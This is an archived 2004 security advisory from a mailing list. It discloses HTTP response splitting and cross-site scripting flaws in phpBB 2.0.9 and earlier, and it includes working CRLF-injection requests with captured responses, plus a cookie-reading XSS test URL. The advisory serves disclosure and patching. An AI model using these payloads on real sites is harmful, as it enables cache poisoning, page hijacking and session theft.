[UNIX] phpBB HTTP Response Splitting and Cross Site Scripting Vulnerabilities

From: SecuriTeam (support_at_securiteam.com)
Date: 07/22/04

  • Next message: SecuriTeam: "[UNIX] Samba 3.x SWAT Preauthentication Buffer Overflow"
    To: list@securiteam.com
    Date: 22 Jul 2004 18:26:38 +0200
    
    

    The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
    - - promotion

    The SecuriTeam alerts list - Free, Accurate, Independent.

    Get your security news from a reliable source.
    http://www.securiteam.com/mailinglist.html

    - - - - - - - - -

      phpBB HTTP Response Splitting and Cross Site Scripting Vulnerabilities
    ------------------------------------------------------------------------

    SUMMARY

     <http://www.phpBB.com> phpBB is "a high powered, fully scalable, and
    highly customizable open-source bulletin board package. phpBB has a
    user-friendly interface, simple and straightforward administration panel,
    and helpful FAQ. Based on the powerful PHP server language and your choice
    of MySQL, MS-SQL, PostgreSQL or Access/ODBC database servers, phpBB is the
    ideal free community solution for all web sites."

    phpBB is prone to cross-site scripting and HTTP response splitting
    attacks.

    DETAILS

    Vulnerable Systems:
     * phpBB versions 2.0.9 and prior

    Immune Systems:
     * phpBB version 2.0.10

    HTTP Response Splitting:
    Two of the scripts in the PhpBB package are vulnerable to HTTP response
    splitting. The scripts in question are:
     * /phpBB2/privmsg.php ('mode' parameter)
     * /phpBB2/login.php ('redirect' parameter)

    These vulnerabilities may allow an attacker to perform various attacks
    such as web cache poisoning, cross user defacement, hijacking pages with
    sensitive user information and perform cross-site scripting attacks.
    Detailed information on HTTP Response Splitting can be found in the white
    paper <http://www.sanctuminc.com/pdf/WhitePaper_HTTPResponse.pdf> "HTTP
    Response Splitting, Web Cache Poisoning Attacks, and Related Topics" by
    Amit Klein.

    Notes: The HTTP response splitting vulnerabilities do not require the
    attacker to be logged on to the application. These vulnerabilities should
    work on Microsoft web servers, WebSTAR and Xitami. Some simple examples
    are provided below which demonstrate the issue. The following request will
    cause the application to return a split response (REQUEST and RESPONSE ARE
    WORD-WRAPPED!):
    [REQUEST]

    POST /phpBB2/login.php HTTP/1.0
    Host: SERVER
    User-Agent: Mozilla/4.7 [en] (WinNT; I)
    Accept-Encoding: gzip
    Accept-Language: en
    Accept-Charset: iso-8859-1,*,utf-8
    Content-Type: application/x-www-form-urlencoded
    Content-length: 129

    logout=foobar&redirect=foobar%0d%0aContent-Length:%200%0d%0a%0d%0aHTT
    P/1.0%20200%20OK%0d%0aContent-Length:%207%0d%0a%0d%0aGotcha!

    [RESPONSE]

    HTTP/1.1 200 OK
    Server: Microsoft-IIS/5.0
    Date: Wed, 14 Jul 2004 09:48:04 GMT
    Content-type: text/html
    X-Powered-By: PHP/4.3.4
    Set-Cookie: phpbb2mysql_data=a%3A0%3A%7B%7D; expires=Thu, 14-Jul-2005
    09:48:04 GMT; path=/
    Set-Cookie: phpbb2mysql_sid=b389d63f8226cc6c8ad349b3aadf41f3; path=/
    Refresh: 0; URL=http://SERVER/phpBB2foobar
    Content-Length: 0

    HTTP/1.0 200 OK
    Content-Length: 7

    Gotcha!
    ..
    ..
    ..

    Another example:
    [REQUEST]

    GET /phpBB2/privmsg.php?mode=foobar%0d%0aContent-Length:%200%0d%0a%0d
    %0aHTTP/1.0%20200%20OK%0d%0aContent-Length:%207%0d%0a%0d%0aGotcha!
    HTTP/1.0
    Proxy-Connection: Keep-Alive
    User-Agent: Mozilla/4.7 [en] (WinNT; I)
    Host: SERVER

    [RESPONSE]

    HTTP/1.1 200 OK
    Server: Microsoft-IIS/5.0
    Date: Wed, 14 Jul 2004 12:42:17 GMT
    Content-type: text/html
    X-Powered-By: PHP/4.3.4
    Set-Cookie: phpbb2mysql_data=a%3A0%3A%7B%7D; expires=Thu, 14-Jul-2005
    12:42:17 GMT; path=/
    Set-Cookie: phpbb2mysql_sid=74d20cacbfcd9d7b16e0bb86a345aea3; path=/
    Refresh: 0; URL=http://SERVER/phpBB2login.php?redirect=privmsg
    php&folder=inbox&mode=foobar
    Content-Length: 0

    HTTP/1.0 200 OK
    Content-Length: 7

    Gotcha!&sid=74d20cacbfcd9d7b16e0bb86a345aea3
    ..
    ..
    ..

    Cross-Site Scripting:
    When gpc magic quotes are turned off in php.ini, the script
    '/phpBB2/search.php' is vulnerable to XSS in the 'search_author'
    parameter. This vulnerability may lead to theft of cookies associated with
    the domain, or execution of client-side scripts in the user's browser. A
    simple example follows:
    http://SERVER/phpBB2/search.php?search_author='<scr!pt>alert(document.cookie)</scr!pt>

    Patch Availability:
    The above-mentioned vulnerabilities are fixed in the newer 2.0.10 version.
    Users are encouraged to upgrade to the newer version.

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:ory.segal@sanctuminc.com>
    Ory Segal.

    ========================================

    This bulletin is sent to members of the SecuriTeam mailing list.
    To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
    In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

    ====================
    ====================

    DISCLAIMER:
    The information in this bulletin is provided "AS IS" without warranty of any kind.
    In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.


  • Next message: SecuriTeam: "[UNIX] Samba 3.x SWAT Preauthentication Buffer Overflow"

    Relevant Pages

    • PhpBB HTTP Response Splitting & Cross Site Scripting vulnerabilities
      ... ---[PhpBB HTTP Response Splitting & Cross Site Scripting vuln. ... Two scripts are vulnerable to HTTP Response Splitting attacks: ... The HTTP Response Splitting vulnerabilities do not require ...
      (Bugtraq)
    • [UNIX] Comdev eCommerce Cross Site Scripting
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... The Comdev eCommerce has been found to contain multiple cross site ... scripting vulnerabilities that allow a remote attacker to include ... The following URLs can be used to trigger the cross site scripting ...
      (Securiteam)
    • [NT] Multiple XSS vulnerabilities in Microsoft SharePoint Portal Server
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... Several cross-site scripting vulnerabilities have been found in SharePoint ... * Microsoft SharePoint Portal Server 2001 SP 2 ...
      (Securiteam)
    • [NT] CA ARCServe Backup for Laptops and Desktops Multiple Buffer Overflow Vulnerabilities
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... CA ARCServe Backup for Laptops and Desktops Multiple Buffer Overflow ... Remote exploitation of multiple buffer overflow vulnerabilities in ... rxsGetSubDirs, rxsGetServerDBPathName, rxsSetServerOptions, rxsDeleteFile, ...
      (Securiteam)
    • [NT] Novell eDirectory Multiple Vulnerabilities
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... Novell eDirectory Multiple Vulnerabilities ... Three different vulnerabilities were discovered in Novell's eDirectory ... NCP over IP length Heap Overflow: ...
      (Securiteam)

  • Quantcast